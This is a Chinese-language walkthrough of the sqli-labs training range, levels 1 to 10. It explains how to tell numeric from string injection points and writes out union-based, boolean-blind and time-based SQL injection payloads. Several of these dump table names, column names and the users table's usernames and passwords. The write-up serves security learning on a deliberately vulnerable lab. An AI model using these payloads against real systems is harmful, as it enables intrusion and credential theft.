sqliabs靶场练习

news2025/1/10 3:30:24

关卡

      • 熟悉Mqsql相关命令
      • Less-1
      • Less-2
      • Less-3
      • Less-4
      • Less-5
      • Less-6
      • Less-7
      • Less-8
      • Less-9
      • Less-10

熟悉Mqsql相关命令

首先先熟悉一下Mysql的相关命令,可能在SQL注入的时候会用到。

1.查询服务器主机信息

@@HOSTNAME 主机名称

@@datadir——数据库路径

@@version_compile_os——操作系统版本
2.查询数据库版本信息

Select VERSION() 数据库版本信息

Select @@VERSION 数据库版本信息

Select @@GLOBAL.VERSION 数据库版本信息

Select database() 数据库名称

3 .查询数据库用户信息

user() 系统用户和登录主机名

current_user() 当前登录用户和登录主机名

system_user() 数据库系统用户账户名称和登录主机名

session_user() 当前会话用户名和登录主机名

Less-1

题目:
在这里插入图片描述
这里提示我们输入数字值的ID作为参数,我们输入?id=1

在这里插入图片描述
这里很明显可以看到我们输入?id1是成功被带入了数据库的命令里面去了。
接下来我们来判断是字符型注入还是数字型注入。
在这里插入图片描述

在这里插入图片描述
根据结果可以看出来是字符型且存在sql注入漏洞。那我们就可以进行联合注入。

ORDER BY n    //判断当前查询结果的列数,配合union实用。ORDER BY n+1; 让n一直增加直到出现错误页面。

Union联合查询  union select …
?id=1'order by 3 --+

在这里插入图片描述

?id=1'order by 4 --+

在这里插入图片描述

?id=-1'union select 1,2,3--+

在这里插入图片描述
到这里咋们就可以获取当前数据名和版本号,这个就涉及mysql数据库的一些命令了。

?id=-1'union select 1,database(),version()--+

在这里插入图片描述

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

Less-2

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。同Less-1,没有闭合方式
在这里插入图片描述

Less-3

当我们在输入?id=2’的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号,同Less-1,')闭合
在这里插入图片描述

Less-4

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

Less-5

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

Less-6

关卡6与关卡5是一样的,只是单引号和双引号的区别。

Less-7

第七关当在输入id=1,页面显示you are in… 当我们输入id=1’时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错,之时我试试是不是双括号输入id=1’))–+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。

Less-8

关卡8和关卡5类似

Less-9

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

Less-10

关卡10只需要将单引号换成双引号即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987652.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JavaDS —— 红黑树

前言 还是一样,这里的红黑树重点讲述插入代码的实现,如果对红黑树的删除感兴趣,可以去翻阅其他资料。 在数据结构专栏中已经对 AVL 树的旋转调整做了分析和讲解,这里红黑树也会使用到旋转调整的代码,就不讲述旋转代码…

成都云飞浩容文化传媒有限公司怎么样可靠吗?

在数字经济浪潮汹涌的今天,电商行业作为推动经济高质量发展的关键引擎,正以前所未有的速度重塑着商业版图。在这场变革中,成都云飞浩容文化传媒有限公司凭借其专业的电商服务能力和前瞻性的市场洞察,成为了众多品牌商家信赖的合作…

助力草莓智能自动化采摘,基于嵌入式端超轻量级模型LeYOLO全系列【n/s/m/l】参数模型开发构建果园种植采摘场景下草莓成熟度智能检测识别系统

随着科技的飞速发展,人工智能(AI)技术已经渗透到我们生活的方方面面,从智能家居到自动驾驶,再到医疗健康,其影响力无处不在。然而,当我们把目光转向中国的农业领域时,一个令人惊讶的…

Git分布式版本控制--2+day018 LeetCode235 701 450

基础操作: 1.分支: 几乎所有的版本控制系统都以某种形式支持分支。 使用分支意味着你可以把你的工作从开发主线上分离 开来进行重大的Bug修改、开发新的功能,以免影响开发主线。 2.指令操作: 2.1 查看本地分支: git branch 2.2 创建本地分支: git branch 分支名…

Spring Boot 3.3 新特性介绍

1. 引言 Spring Boot 3.1.x 停止维护了,而 3.3.x 作为最新发布的版本,带来了许多新特性和改进。本篇文章将详细介绍这些新特性,并通过样例代码加以解释,帮助开发者更好地掌握和应用这些新功能。 Spring Boot 3.3现已正式发布&…

RNN循环网络层

文章目录 1、简介2、RNN 网络原理3、PyTorch RNN 层的使用3.1、RNN送入单个数据3.2、RNN层送入批量数据 4、RNN三个维度4.1、解释4.2、输入数据的组织4.3、示例4.4、为什么需要这种格式?4.5、小结 🍃作者介绍:双非本科大三网络工程专业在读&a…

【博士每天一篇文献-算法】持续学习经典算法之LwF: Learning without forgetting

1 介绍 年份:2017 作者:Zhizhong Li,Amazon AWS Rekognition;Derek Hoiem,伊利诺伊大学计算机科学教授 会议:IEEE transactions on pattern analysis and machine intelligence 引用量:4325 Li…

【NXP-MCXA153】开发板救砖教程

前言 新手接触到NXP的板子时,一个不留神把调试的GPIO(RXD、TXD)改掉,很容易出现MDK Keil无法识别CMSIS-DAP调试器的情况;主控进入了莫名其妙模式导致调试器无法识别了,你根本无法下载程序,想改…

大数据-67 Kafka 高级特性 分区 分配策略 Ranger、RoundRobin、Sticky、自定义分区器

点一下关注吧!!!非常感谢!!持续更新!!! 目前已经更新到了: Hadoop(已更完)HDFS(已更完)MapReduce(已更完&am…

虚拟机Centos7 minimal版本安装docker

1、在 CentOS 7 上启用 EPEL 软件包存储库; (删除epel软件包和其他操作可参考:如何在 CentOS 7 上使用 EPEL (linux-console.net)) 1.1: 要安装epel前会报错,如下所示: 先参照这个链接安装&a…

【python】OpenCV—Image Super Resolution

文章目录 1、背景介绍2、准备工作3、EDSR4、ESPCN5、FSRCNN6、LapSRN7、汇总对比8、参考 1、背景介绍 图像超分,即图像超分辨率(Image Super Resolution,简称SR),是指由一幅低分辨率图像或图像序列恢复出高分辨率图像…

HTML基础 - HTML5

目录 一. 简介 二. 新增元素 三. 拖放 地理定位 A、HTML5 拖放(Drag and Drop) B.HTML5 地理定位(Geolocation) 四. input 五. web存储 webSQL 六. 应用程序缓存 web workers 七. web socket 可以先看上篇HTML基础再来看…

RabbitMQ、Kafka对比(超详细),Kafka、RabbitMQ、RocketMQ的区别

文章目录 一、kafka和rabbitmq全面对比分析1.1 简介1.2 kafka和rabbitmq全面对比分析1.3 影响因素 二、RabbitMQ、Kafka主要区别2.1 详解/主要区别2.1.1 设计目标和适用场景2.1.2 架构模型方面2.1.3 吞吐量和性能2.1.4 消息存储和持久化2.1.5 消息传递保证2.1.6 集群负载均衡方…

理解二分搜索算法

一.介绍 在本文中,我们将了解二分搜索算法。二分搜索算法是一种在排序数组中查找特定元素的高效方法。它的工作原理是将搜索间隔反复分成两半,从而大大减少了找到所需元素所需的比较次数。该算法的时间复杂度为 O(log n),因此对于大型数据集…

CLOS架构

CLOS Networking CLOS Networking 是指使用 Clos 网络拓扑结构(Clos Network Topology)进行网络设计的一种方法。该方法是由贝尔实验室的工程师 Charles Clos 在1950年代提出的,以解决电路交换网络的可扩展性和性能问题。随着现代计算和网络…

SpringBoot基础(一):快速入门

SpringBoot基础系列文章 SpringBoot基础(一):快速入门 目录 一、SpringBoot简介二、快速入门三、SpringBoot核心组件1、parent1.1、spring-boot-starter-parent1.2、spring-boot-dependencies 2、starter2.1、spring-boot-starter-web2.2、spring-boot-starter2.3、…

YOLOv10改进 | 主干篇 | YOLOv10引入CVPR2023 顶会论文BiFormer用于主干修改

1. 使用之前用于注意力的BiFormer在这里用于主干修改。 YOLOv10改进 | 注意力篇 | YOLOv10引入BiFormer注意力机制 2. 核心代码 from collections import OrderedDict from functools import partial from typing import Optional, Union import torch import torch.nn as n…

C++:vector容器

概览 std::vector是C标准模板库(STL)中的一种动态数组容器。它提供了一种类似于数组的数据结构,但是具有动态大小和更安全的内存管理。 定义和基本特性 std::vector是C标准库中的一 个序列容器,它代表了能够动态改变大小的数组。与普通数组一样&#x…

酒店智能插座在酒店智慧化中的重要性

在当今数字化和智能化的时代,酒店行业也在不断追求创新和提升服务品质,以满足客人日益增长的需求。酒店智能插座作为酒店智慧化的重要组成部分,发挥着不可忽视的作用。 提升客人的便利性: 酒店智能插座能够为客人提供更加便捷的充…

使用 Java Swing 的 IMEI 验证器

一.介绍 本文档介绍如何使用 Java Swing 创建一个简单的 IMEI 验证器应用程序。 二.什么是 IMEI 号码 IMEI 代表国际移动设备识别码。IMEI 用于在移动设备连接到网络时对其进行识别。每个 GSM、CDMA 或卫星移动设备都有唯一的 IMEI 号码。此号码将印在设备电池组件内。用户可…